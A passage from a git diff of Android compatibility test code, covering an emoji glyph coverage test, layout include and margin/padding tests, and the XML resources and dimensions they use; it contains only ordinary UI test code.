+ 0x1F614, // PENSIVE FACE
+ 0x1F615, // CONFUSED FACE
+ 0x1F616, // CONFOUNDED FACE
+ 0x1F617, // KISSING FACE
+ 0x1F618, // FACE THROWING A KISS
+ 0x1F619, // KISSING FACE WITH SMILING EYES
+ 0x1F61A, // KISSING FACE WITH CLOSED EYES
+ 0x1F61B, // FACE WITH STUCK-OUT TONGUE
+ 0x1F61C, // FACE WITH STUCK-OUT TONGUE AND WINKING EYE
+ 0x1F61D, // FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
+ 0x1F61E, // DISAPPOINTED FACE
+ 0x1F61F, // WORRIED FACE
+ 0x1F620, // ANGRY FACE
+ 0x1F621, // POUTING FACE
+ 0x1F622, // CRYING FACE
+ 0x1F623, // PERSEVERING FACE
+ 0x1F624, // FACE WITH LOOK OF TRIUMPH
+ 0x1F625, // DISAPPOINTED BUT RELIEVED FACE
+ 0x1F626, // FROWNING FACE WITH OPEN MOUTH
+ 0x1F627, // ANGUISHED FACE
+ 0x1F628, // FEARFUL FACE
+ 0x1F629, // WEARY FACE
+ 0x1F62A, // SLEEPY FACE
+ 0x1F62B, // TIRED FACE
+ 0x1F62C, // GRIMACING FACE
+ 0x1F62D, // LOUDLY CRYING FACE
+ 0x1F62E, // FACE WITH OPEN MOUTH
+ 0x1F62F, // HUSHED FACE
+ 0x1F630, // FACE WITH OPEN MOUTH AND COLD SWEAT
+ 0x1F631, // FACE SCREAMING IN FEAR
+ 0x1F632, // ASTONISHED FACE
+ 0x1F633, // FLUSHED FACE
+ 0x1F634, // SLEEPING FACE
+ 0x1F635, // DIZZY FACE
+ 0x1F636, // FACE WITHOUT MOUTH
+ 0x1F637, // FACE WITH MEDICAL MASK
+ 0x1F638, // GRINNING CAT FACE WITH SMILING EYES
+ 0x1F639, // CAT FACE WITH TEARS OF JOY
+ 0x1F63A, // SMILING CAT FACE WITH OPEN MOUTH
+ 0x1F63B, // SMILING CAT FACE WITH HEART-SHAPED EYES
+ 0x1F63C, // CAT FACE WITH WRY SMILE
+ 0x1F63D, // KISSING CAT FACE WITH CLOSED EYES
+ 0x1F63E, // POUTING CAT FACE
+ 0x1F63F, // CRYING CAT FACE
+ 0x1F640, // WEARY CAT FACE
+ 0x1F641, // SLIGHTLY FROWNING FACE
+ 0x1F642, // SLIGHTLY SMILING FACE
+ 0x1F643, // UPSIDE-DOWN FACE
+ 0x1F644, // FACE WITH ROLLING EYES
+ 0x1F645, // FACE WITH NO GOOD GESTURE
+ 0x1F646, // FACE WITH OK GESTURE
+ 0x1F647, // PERSON BOWING DEEPLY
+ 0x1F648, // SEE-NO-EVIL MONKEY
+ 0x1F649, // HEAR-NO-EVIL MONKEY
+ 0x1F64A, // SPEAK-NO-EVIL MONKEY
+ 0x1F64B, // HAPPY PERSON RAISING ONE HAND
+ 0x1F64C, // PERSON RAISING BOTH HANDS IN CELEBRATION
+ 0x1F64D, // PERSON FROWNING
+ 0x1F64E, // PERSON WITH POUTING FACE
+ 0x1F64F, // PERSON WITH FOLDED HANDS
+ 0x1F680, // ROCKET
+ 0x1F681, // HELICOPTER
+ 0x1F682, // STEAM LOCOMOTIVE
+ 0x1F683, // RAILWAY CAR
+ 0x1F684, // HIGH-SPEED TRAIN
+ 0x1F685, // HIGH-SPEED TRAIN WITH BULLET NOSE
+ 0x1F686, // TRAIN
+ 0x1F687, // METRO
+ 0x1F688, // LIGHT RAIL
+ 0x1F689, // STATION
+ 0x1F68A, // TRAM
+ 0x1F68B, // TRAM CAR
+ 0x1F68C, // BUS
+ 0x1F68D, // ONCOMING BUS
+ 0x1F68E, // TROLLEYBUS
+ 0x1F68F, // BUS STOP
+ 0x1F690, // MINIBUS
+ 0x1F691, // AMBULANCE
+ 0x1F692, // FIRE ENGINE
+ 0x1F693, // POLICE CAR
+ 0x1F694, // ONCOMING POLICE CAR
+ 0x1F695, // TAXI
+ 0x1F696, // ONCOMING TAXI
+ 0x1F697, // AUTOMOBILE
+ 0x1F698, // ONCOMING AUTOMOBILE
+ 0x1F699, // RECREATIONAL VEHICLE
+ 0x1F69A, // DELIVERY TRUCK
+ 0x1F69B, // ARTICULATED LORRY
+ 0x1F69C, // TRACTOR
+ 0x1F69D, // MONORAIL
+ 0x1F69E, // MOUNTAIN RAILWAY
+ 0x1F69F, // SUSPENSION RAILWAY
+ 0x1F6A0, // MOUNTAIN CABLEWAY
+ 0x1F6A1, // AERIAL TRAMWAY
+ 0x1F6A2, // SHIP
+ 0x1F6A3, // ROWBOAT
+ 0x1F6A4, // SPEEDBOAT
+ 0x1F6A5, // HORIZONTAL TRAFFIC LIGHT
+ 0x1F6A6, // VERTICAL TRAFFIC LIGHT
+ 0x1F6A7, // CONSTRUCTION SIGN
+ 0x1F6A8, // POLICE CARS REVOLVING LIGHT
+ 0x1F6A9, // TRIANGULAR FLAG ON POST
+ 0x1F6AA, // DOOR
+ 0x1F6AB, // NO ENTRY SIGN
+ 0x1F6AC, // SMOKING SYMBOL
+ 0x1F6AD, // NO SMOKING SYMBOL
+ 0x1F6AE, // PUT LITTER IN ITS PLACE SYMBOL
+ 0x1F6AF, // DO NOT LITTER SYMBOL
+ 0x1F6B0, // POTABLE WATER SYMBOL
+ 0x1F6B1, // NON-POTABLE WATER SYMBOL
+ 0x1F6B2, // BICYCLE
+ 0x1F6B3, // NO BICYCLES
+ 0x1F6B4, // BICYCLIST
+ 0x1F6B5, // MOUNTAIN BICYCLIST
+ 0x1F6B6, // PEDESTRIAN
+ 0x1F6B7, // NO PEDESTRIANS
+ 0x1F6B8, // CHILDREN CROSSING
+ 0x1F6B9, // MENS SYMBOL
+ 0x1F6BA, // WOMENS SYMBOL
+ 0x1F6BB, // RESTROOM
+ 0x1F6BC, // BABY SYMBOL
+ 0x1F6BD, // TOILET
+ 0x1F6BE, // WATER CLOSET
+ 0x1F6BF, // SHOWER
+ 0x1F6C0, // BATH
+ 0x1F6C1, // BATHTUB
+ 0x1F6C2, // PASSPORT CONTROL
+ 0x1F6C3, // CUSTOMS
+ 0x1F6C4, // BAGGAGE CLAIM
+ 0x1F6C5, // LEFT LUGGAGE
+ 0x1F6CB, // COUCH AND LAMP
+ 0x1F6CC, // SLEEPING ACCOMMODATION
+ 0x1F6CD, // SHOPPING BAGS
+ 0x1F6CE, // BELLHOP BELL
+ 0x1F6CF, // BED
+ 0x1F6D0, // PLACE OF WORSHIP
+ 0x1F6D1, // OCTAGONAL SIGN
+ 0x1F6D2, // SHOPPING TROLLEY
+ 0x1F6E0, // HAMMER AND WRENCH
+ 0x1F6E1, // SHIELD
+ 0x1F6E2, // OIL DRUM
+ 0x1F6E3, // MOTORWAY
+ 0x1F6E4, // RAILWAY TRACK
+ 0x1F6E5, // MOTOR BOAT
+ 0x1F6E9, // SMALL AIRPLANE
+ 0x1F6EB, // AIRPLANE DEPARTURE
+ 0x1F6EC, // AIRPLANE ARRIVING
+ 0x1F6F0, // SATELLITE
+ 0x1F6F3, // PASSENGER SHIP
+ 0x1F6F4, // SCOOTER
+ 0x1F6F5, // MOTOR SCOOTER
+ 0x1F6F6, // CANOE
+ 0x1F6F7, // SLED
+ 0x1F6F8, // FLYING SAUCER
+ 0x1F910, // ZIPPER-MOUTH FACE
+ 0x1F911, // MONEY-MOUTH FACE
+ 0x1F912, // FACE WITH THERMOMETER
+ 0x1F913, // NERD FACE
+ 0x1F914, // THINKING FACE
+ 0x1F915, // FACE WITH HEAD-BANDAGE
+ 0x1F916, // ROBOT FACE
+ 0x1F917, // HUGGING FACE
+ 0x1F918, // SIGN OF THE HORNS
+ 0x1F919, // CALL ME HAND
+ 0x1F91A, // RAISED BACK OF HAND
+ 0x1F91B, // LEFT-FACING FIST
+ 0x1F91C, // RIGHT-FACING FIST
+ 0x1F91D, // HANDSHAKE
+ 0x1F91E, // HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+ 0x1F91F, // LOVE-YOU GESTURE
+ 0x1F920, // FACE WITH COWBOY HAT
+ 0x1F921, // CLOWN FACE
+ 0x1F922, // NAUSEATED FACE
+ 0x1F923, // ROLLING ON THE FLOOR LAUGHING
+ 0x1F924, // DROOLING FACE
+ 0x1F925, // LYING FACE
+ 0x1F926, // FACE PALM
+ 0x1F927, // SNEEZING FACE
+ 0x1F928, // FACE WITH RAISED EYEBROW
+ 0x1F929, // STAR-STRUCK
+ 0x1F92A, // CRAZY FACE
+ 0x1F92B, // SHUSHING FACE
+ 0x1F92C, // FACE WITH SYMBOLS OVER MOUTH
+ 0x1F92D, // FACE WITH HAND OVER MOUTH
+ 0x1F92E, // FACE VOMITING
+ 0x1F92F, // EXPLODING HEAD
+ 0x1F930, // PREGNANT WOMAN
+ 0x1F931, // BREAST-FEEDING
+ 0x1F932, // PALMS UP TOGETHER
+ 0x1F933, // SELFIE
+ 0x1F934, // PRINCE
+ 0x1F935, // MAN IN TUXEDO
+ 0x1F936, // MOTHER CHRISTMAS
+ 0x1F937, // SHRUG
+ 0x1F938, // PERSON DOING CARTWHEEL
+ 0x1F939, // JUGGLING
+ 0x1F93A, // FENCER
+ 0x1F93C, // WRESTLERS
+ 0x1F93D, // WATER POLO
+ 0x1F93E, // HANDBALL
+ 0x1F940, // WILTED FLOWER
+ 0x1F941, // DRUM WITH DRUMSTICKS
+ 0x1F942, // CLINKING GLASSES
+ 0x1F943, // TUMBLER GLASS
+ 0x1F944, // SPOON
+ 0x1F945, // GOAL NET
+ 0x1F947, // FIRST PLACE MEDAL
+ 0x1F948, // SECOND PLACE MEDAL
+ 0x1F949, // THIRD PLACE MEDAL
+ 0x1F94A, // BOXING GLOVE
+ 0x1F94B, // MARTIAL ARTS UNIFORM
+ 0x1F94C, // CURLING STONE
+ 0x1F950, // CROISSANT
+ 0x1F951, // AVOCADO
+ 0x1F952, // CUCUMBER
+ 0x1F953, // BACON
+ 0x1F954, // POTATO
+ 0x1F955, // CARROT
+ 0x1F956, // BAGUETTE BREAD
+ 0x1F957, // GREEN SALAD
+ 0x1F958, // SHALLOW PAN OF FOOD
+ 0x1F959, // STUFFED FLATBREAD
+ 0x1F95A, // EGG
+ 0x1F95B, // GLASS OF MILK
+ 0x1F95C, // PEANUTS
+ 0x1F95D, // KIWIFRUIT
+ 0x1F95E, // PANCAKES
+ 0x1F95F, // DUMPLING
+ 0x1F960, // FORTUNE COOKIE
+ 0x1F961, // TAKEOUT BOX
+ 0x1F962, // CHOPSTICKS
+ 0x1F963, // BOWL WITH SPOON
+ 0x1F964, // CUP WITH STRAW
+ 0x1F965, // COCONUT
+ 0x1F966, // BROCCOLI
+ 0x1F967, // PIE
+ 0x1F968, // PRETZEL
+ 0x1F969, // CUT OF MEAT
+ 0x1F96A, // SANDWICH
+ 0x1F96B, // CANNED FOOD
+ 0x1F980, // CRAB
+ 0x1F981, // LION FACE
+ 0x1F982, // SCORPION
+ 0x1F983, // TURKEY
+ 0x1F984, // UNICORN FACE
+ 0x1F985, // EAGLE
+ 0x1F986, // DUCK
+ 0x1F987, // BAT
+ 0x1F988, // SHARK
+ 0x1F989, // OWL
+ 0x1F98A, // FOX FACE
+ 0x1F98B, // BUTTERFLY
+ 0x1F98C, // DEER
+ 0x1F98D, // GORILLA
+ 0x1F98E, // LIZARD
+ 0x1F98F, // RHINOCEROS
+ 0x1F990, // SHRIMP
+ 0x1F991, // SQUID
+ 0x1F992, // GIRAFFE
+ 0x1F993, // ZEBRA
+ 0x1F994, // HEDGEHOG
+ 0x1F995, // SAUROPOD
+ 0x1F996, // T-REX
+ 0x1F997, // CRICKET
+ 0x1F9C0, // CHEESE WEDGE
+ 0x1F9D0, // FACE WITH MONOCLE
+ 0x1F9D1, // ADULT
+ 0x1F9D2, // CHILD
+ 0x1F9D3, // OLDER ADULT
+ 0x1F9D4, // BEARDED PERSON
+ 0x1F9D5, // WOMAN WITH HEADSCARF
+ 0x1F9D6, // PERSON IN STEAMY ROOM
+ 0x1F9D7, // PERSON CLIMBING
+ 0x1F9D8, // PERSON IN LOTUS POSITION
+ 0x1F9D9, // MAGE
+ 0x1F9DA, // FAIRY
+ 0x1F9DB, // VAMPIRE
+ 0x1F9DC, // MERPERSON
+ 0x1F9DD, // ELF
+ 0x1F9DE, // GENIE
+ 0x1F9DF, // ZOMBIE
+ 0x1F9E0, // BRAIN
+ 0x1F9E1, // ORANGE HEART
+ 0x1F9E2, // BILLED CAP
+ 0x1F9E3, // SCARF
+ 0x1F9E4, // GLOVES
+ 0x1F9E5, // COAT
+ 0x1F9E6, // SOCKS
+ };
+
+ @Test
+ public void testEmojiCoverage() {
+ final Paint paint = new Paint();
+ for (int cp : ALL_EMOJI) {
+ final String characterAsString = new String(Character.toChars(cp));
+ assertTrue(String.format("No glyph for U+%04X", cp), paint.hasGlyph(characterAsString));
+ }
+ }
}
diff --git a/tests/tests/view/res/layout/default_focus_highlight_layout.xml b/tests/tests/view/res/layout/default_focus_highlight_layout.xml
index 827de43..44a0f68 100644
--- a/tests/tests/view/res/layout/default_focus_highlight_layout.xml
+++ b/tests/tests/view/res/layout/default_focus_highlight_layout.xml
@@ -89,5 +89,16 @@
android:orientation="vertical">
</LinearLayout>
+ <Button
+ android:id="@+id/button_to_test_highlight_needed"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/id_ok"/>
+
+ <ImageView
+ android:id="@+id/image_view_to_test_highlight_needed"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/id_ok"/>
</LinearLayout>
diff --git a/tests/tests/view/res/layout/include_layout_explicit.xml b/tests/tests/view/res/layout/include_layout_explicit.xml
new file mode 100644
index 0000000..e13301e
--- /dev/null
+++ b/tests/tests/view/res/layout/include_layout_explicit.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:id="@+id/include_layout_explicit" />
diff --git a/tests/tests/view/res/layout/include_layout_from_attr.xml b/tests/tests/view/res/layout/include_layout_from_attr.xml
new file mode 100644
index 0000000..e0e8fd3
--- /dev/null
+++ b/tests/tests/view/res/layout/include_layout_from_attr.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<View xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:id="@+id/include_layout_from_attr" />
diff --git a/tests/tests/view/res/layout/inflater_layout_include.xml b/tests/tests/view/res/layout/inflater_layout_include.xml
new file mode 100644
index 0000000..7423830
--- /dev/null
+++ b/tests/tests/view/res/layout/inflater_layout_include.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <include layout="@layout/include_layout_explicit" />
+
+ <include layout="?attr/includeLayout" />
+
+</LinearLayout>
diff --git a/tests/tests/view/res/layout/view_padding.xml b/tests/tests/view/res/layout/view_padding.xml
index e3b0deb..c0e6e90 100644
--- a/tests/tests/view/res/layout/view_padding.xml
+++ b/tests/tests/view/res/layout/view_padding.xml
@@ -132,10 +132,12 @@
<LinearLayout
android:orientation="horizontal"
android:padding="@dimen/insetAll"
- android:paddingLeft="0dp"
- android:paddingTop="0dp"
- android:paddingRight="0dp"
- android:paddingBottom="0dp"
+ android:paddingHorizontal="@dimen/insetHorizontal"
+ android:paddingVertical="@dimen/insetVertical"
+ android:paddingLeft="@dimen/insetLeft"
+ android:paddingTop="@dimen/insetTop"
+ android:paddingRight="@dimen/insetRight"
+ android:paddingBottom="@dimen/insetBottom"
android:layout_width="match_parent"
android:layout_height="100dp">
<View
@@ -144,5 +146,32 @@
android:id="@+id/view10"/>
</LinearLayout>
+ <LinearLayout
+ android:orientation="horizontal"
+ android:padding="@dimen/insetAll"
+ android:paddingStart="@dimen/insetStart"
+ android:paddingEnd="@dimen/insetEnd"
+ android:layout_width="match_parent"
+ android:layout_height="100dp">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:id="@+id/view11"/>
+ </LinearLayout>
+
+ <LinearLayout
+ android:orientation="horizontal"
+ android:paddingHorizontal="@dimen/insetHorizontal"
+ android:paddingStart="@dimen/insetStart"
+ android:paddingEnd="@dimen/insetEnd"
+ android:layout_width="match_parent"
+ android:layout_height="100dp">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:id="@+id/view12"/>
+ </LinearLayout>
+
+
</LinearLayout>
diff --git a/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml b/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
index a1c4051..3049623 100644
--- a/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
+++ b/tests/tests/view/res/layout/viewgroup_margin_layout_verticalhorizontal.xml
@@ -36,7 +36,7 @@
<View
android:layout_width="match_parent"
android:layout_height="match_parent"
- android:layout_marginHorizontal="10dp"
+ android:layout_marginHorizontal="@dimen/marginHorizontal"
android:id="@+id/view2"/>
</LinearLayout>
@@ -47,7 +47,7 @@
<View
android:layout_width="match_parent"
android:layout_height="match_parent"
- android:layout_marginVertical="10dp"
+ android:layout_marginVertical="@dimen/marginVertical"
android:id="@+id/view3"/>
</LinearLayout>
@@ -58,8 +58,8 @@
<View
android:layout_width="match_parent"
android:layout_height="match_parent"
- android:layout_marginHorizontal="10dp"
- android:layout_marginVertical="10dp"
+ android:layout_marginHorizontal="@dimen/marginHorizontal"
+ android:layout_marginVertical="@dimen/marginVertical"
android:id="@+id/view4"/>
</LinearLayout>
@@ -70,16 +70,15 @@
<View
android:layout_width="match_parent"
android:layout_height="match_parent"
- android:layout_marginHorizontal="10dp"
- android:layout_marginLeft="5dp"
- android:layout_marginRight="2dp"
- android:layout_marginVertical="10dp"
- android:layout_marginTop="5dp"
- android:layout_marginBottom="2dp"
+ android:layout_marginHorizontal="@dimen/marginHorizontal"
+ android:layout_marginLeft="@dimen/marginLeft"
+ android:layout_marginRight="@dimen/marginRight"
+ android:layout_marginVertical="@dimen/marginVertical"
+ android:layout_marginTop="@dimen/marginTop"
+ android:layout_marginBottom="@dimen/marginBottom"
android:id="@+id/view5"/>
</LinearLayout>
-
<LinearLayout
android:orientation="horizontal"
android:layout_width="match_parent"
@@ -87,12 +86,26 @@
<View
android:layout_width="match_parent"
android:layout_height="match_parent"
- android:layout_marginHorizontal="10dp"
- android:layout_marginStart="5dp"
- android:layout_marginEnd="2dp"
- android:layout_marginVertical="10dp"
+ android:layout_marginHorizontal="@dimen/marginHorizontal"
+ android:layout_marginStart="@dimen/marginStart"
+ android:layout_marginEnd="@dimen/marginEnd"
+ android:layout_marginVertical="@dimen/marginVertical"
android:id="@+id/view6"/>
</LinearLayout>
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="100dp">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:layout_margin="@dimen/marginAll"
+ android:layout_marginStart="@dimen/marginStart"
+ android:layout_marginEnd="@dimen/marginEnd"
+ android:layout_marginVertical="@dimen/marginVertical"
+ android:id="@+id/view7"/>
+ </LinearLayout>
+
</LinearLayout>
diff --git a/tests/tests/view/res/values/attrs.xml b/tests/tests/view/res/values/attrs.xml
index 4c3d9db..e7181fc 100644
--- a/tests/tests/view/res/values/attrs.xml
+++ b/tests/tests/view/res/values/attrs.xml
@@ -129,7 +129,6 @@
<attr name="themeType" format="integer"/>
<!-- Theme reference used to override parent theme. -->
<attr name="themeOverrideAttr" format="reference"/>
-
<!-- Drawable theming attributes -->
<attr name="themeBoolean" />
<attr name="themeColor" />
@@ -142,4 +141,6 @@
<attr name="themeGravity" />
<attr name="themeTileMode" />
<attr name="themeAngle" />
+ <!-- Used by LayoutInflaterTest to specify layout from ?attr. -->
+ <attr name="includeLayout" format="reference" />
</resources>
diff --git a/tests/tests/view/res/values/dimens.xml b/tests/tests/view/res/values/dimens.xml
index 59369a7..5680de0 100644
--- a/tests/tests/view/res/values/dimens.xml
+++ b/tests/tests/view/res/values/dimens.xml
@@ -24,9 +24,20 @@
<dimen name="insetTop">6dp</dimen>
<dimen name="insetRight">7dp</dimen>
<dimen name="insetBottom">8dp</dimen>
- <dimen name="insetAll">9dp</dimen>
- <dimen name="insetHorizontal">10dp</dimen>
- <dimen name="insetVertical">11dp</dimen>
+ <dimen name="insetStart">9dp</dimen>
+ <dimen name="insetEnd">10dp</dimen>
+ <dimen name="insetAll">11dp</dimen>
+ <dimen name="insetHorizontal">12dp</dimen>
+ <dimen name="insetVertical">13dp</dimen>
+ <dimen name="marginLeft">5dp</dimen>
+ <dimen name="marginTop">6dp</dimen>
+ <dimen name="marginRight">7dp</dimen>
+ <dimen name="marginBottom">8dp</dimen>
+ <dimen name="marginStart">9dp</dimen>
+ <dimen name="marginEnd">10dp</dimen>
+ <dimen name="marginAll">11dp</dimen>
+ <dimen name="marginHorizontal">12dp</dimen>
+ <dimen name="marginVertical">13dp</dimen>
<dimen name="hover_target_margin">4dp</dimen>
<dimen name="hover_target_size">8dp</dimen>
<dimen name="hover_target_size_double">16dp</dimen>
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 4979241..17bc2a3 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -136,6 +136,7 @@
<item name="android:windowNoTitle">true</item>
<item name="android:panelColorForeground">#ff000000</item>
<item name="android:panelColorBackground">#ffffffff</item>
+ <item name="includeLayout">@layout/include_layout_from_attr</item>
</style>
<style name="Theme_OverrideOuter">
diff --git a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
index b445165..3460525 100644
--- a/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
+++ b/tests/tests/view/src/android/view/cts/LayoutInflaterTest.java
@@ -37,6 +37,7 @@
import android.util.AttributeSet;
import android.util.TypedValue;
import android.util.Xml;
+import android.view.ContextThemeWrapper;
import android.view.Gravity;
import android.view.InflateException;
import android.view.LayoutInflater;
@@ -395,6 +396,22 @@
assertEquals(tagId + " has tag " + expectedValue, expectedValue, tag);
}
+ @Test
+ public void testInclude() {
+ final Context themedContext = new ContextThemeWrapper(mContext, R.style.Test_Theme);
+ final LayoutInflater inflater = LayoutInflater.from(themedContext);
+
+ final View container = inflater.inflate(R.layout.inflater_layout_include, null);
+ assertNotNull(container.findViewById(R.id.include_layout_explicit));
+ assertNotNull(container.findViewById(R.id.include_layout_from_attr));
+ }
+
+ @Test(expected = InflateException.class)
+ public void testIncludeMissingAttr() {
+ final View container = mLayoutInflater.inflate(R.layout.inflater_layout_include, null);
+ assertNotNull(container.findViewById(R.id.include_layout_from_attr));
+ }
+
static class MockLayoutInflater extends LayoutInflater {
public MockLayoutInflater(Context c) {
diff --git a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
index 34a6020..0867338 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroup_MarginLayoutParamsTest.java
@@ -22,6 +22,7 @@
import android.content.Context;
import android.content.res.XmlResourceParser;
+import android.graphics.Rect;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
@@ -234,27 +235,32 @@
View view4 = viewGroup.findViewById(R.id.view4);
View view5 = viewGroup.findViewById(R.id.view5);
View view6 = viewGroup.findViewById(R.id.view6);
+ View view7 = viewGroup.findViewById(R.id.view7);
- int defaultWidth = view1.getWidth();
- int defaultHeight = view1.getHeight();
- int marginPixels = (int) (mContext.getResources().getDisplayMetrics().density * 10 + .5f);
+ Rect defaultBounds = new Rect(view1.getLeft(), view1.getTop(), view1.getRight(),
+ view1.getBottom());
+ int marginStart = mContext.getResources().getDimensionPixelSize(R.dimen.marginStart);
+ int marginEnd = mContext.getResources().getDimensionPixelSize(R.dimen.marginEnd);
+ int marginAll = mContext.getResources().getDimensionPixelSize(R.dimen.marginAll);
+ int marginHorizontal =
+ mContext.getResources().getDimensionPixelSize(R.dimen.marginHorizontal);
+ int marginVertical = mContext.getResources().getDimensionPixelSize(R.dimen.marginVertical);
- assertEquals("Width value", defaultWidth, view1.getWidth());
- assertEquals("Height value", defaultHeight, view1.getHeight());
+ checkBounds(view2, defaultBounds, marginHorizontal, 0, marginHorizontal, 0);
+ checkBounds(view3, defaultBounds, 0, marginVertical, 0, marginVertical);
+ checkBounds(view4, defaultBounds, marginHorizontal, marginVertical,
+ marginHorizontal, marginVertical);
+ checkBounds(view5, defaultBounds, marginHorizontal, marginVertical,
+ marginHorizontal, marginVertical);
+ checkBounds(view6, defaultBounds, marginStart, marginVertical, marginEnd, marginVertical);
+ checkBounds(view7, defaultBounds, marginAll, marginAll, marginAll, marginAll);
+ }
- assertEquals("Width value", defaultWidth - 2 * marginPixels, view2.getWidth());
- assertEquals("Height value", defaultHeight, view2.getHeight());
-
- assertEquals("Width value", defaultWidth, view3.getWidth());
- assertEquals("Height value", defaultHeight - 2 * marginPixels, view3.getHeight());
-
- assertEquals("Width value", defaultWidth - 2 * marginPixels, view4.getWidth());
- assertEquals("Height value", defaultHeight - 2 * marginPixels, view4.getHeight());
-
- assertEquals("Width value", defaultWidth - 2 * marginPixels, view5.getWidth());
- assertEquals("Height value", defaultHeight - 2 * marginPixels, view5.getHeight());
-
- assertEquals("Width value", defaultWidth - 2 * marginPixels, view6.getWidth());
- assertEquals("Height value", defaultHeight - 2 * marginPixels, view6.getHeight());
+ private void checkBounds(View view, Rect defaultBounds,
+ int insetLeft, int insetTop, int insetRight, int insetBottom) {
+ assertEquals("Left", defaultBounds.left + insetLeft, view.getLeft());
+ assertEquals("Top", defaultBounds.top + insetTop, view.getTop());
+ assertEquals("Right", defaultBounds.right - insetRight, view.getRight());
+ assertEquals("Bottom", defaultBounds.bottom - insetBottom, view.getBottom());
}
}
diff --git a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
index b146f9d..60fa170 100644
--- a/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewPaddingTest.java
@@ -61,6 +61,8 @@
View view8 = viewGroup.findViewById(R.id.view8);
View view9 = viewGroup.findViewById(R.id.view9);
View view10 = viewGroup.findViewById(R.id.view10);
+ View view11 = viewGroup.findViewById(R.id.view11);
+ View view12 = viewGroup.findViewById(R.id.view12);
Rect defaultBounds = new Rect(view1.getLeft(), view1.getTop(), view1.getRight(),
view1.getBottom());
@@ -68,6 +70,8 @@
int insetRight = mContext.getResources().getDimensionPixelSize(R.dimen.insetRight);
int insetTop = mContext.getResources().getDimensionPixelSize(R.dimen.insetTop);
int insetBottom = mContext.getResources().getDimensionPixelSize(R.dimen.insetBottom);
+ int insetStart = mContext.getResources().getDimensionPixelSize(R.dimen.insetStart);
+ int insetEnd = mContext.getResources().getDimensionPixelSize(R.dimen.insetEnd);
int insetAll = mContext.getResources().getDimensionPixelSize(R.dimen.insetAll);
int insetHorizontal =
mContext.getResources().getDimensionPixelSize(R.dimen.insetHorizontal);
@@ -84,6 +88,8 @@
checkBounds(view9, defaultBounds, insetHorizontal, insetVertical, insetHorizontal,
insetVertical);
checkBounds(view10, defaultBounds, insetAll, insetAll, insetAll, insetAll);
+ checkBounds(view11, defaultBounds, insetStart, insetAll, insetEnd, insetAll);
+ checkBounds(view12, defaultBounds, insetStart, 0, insetEnd, 0);
}
private void checkBounds(View view, Rect defaultBounds,
diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
index 5e362cf..b019fb1 100644
--- a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -20,6 +20,11 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
+import android.content.res.ColorStateList;
+import android.graphics.Color;
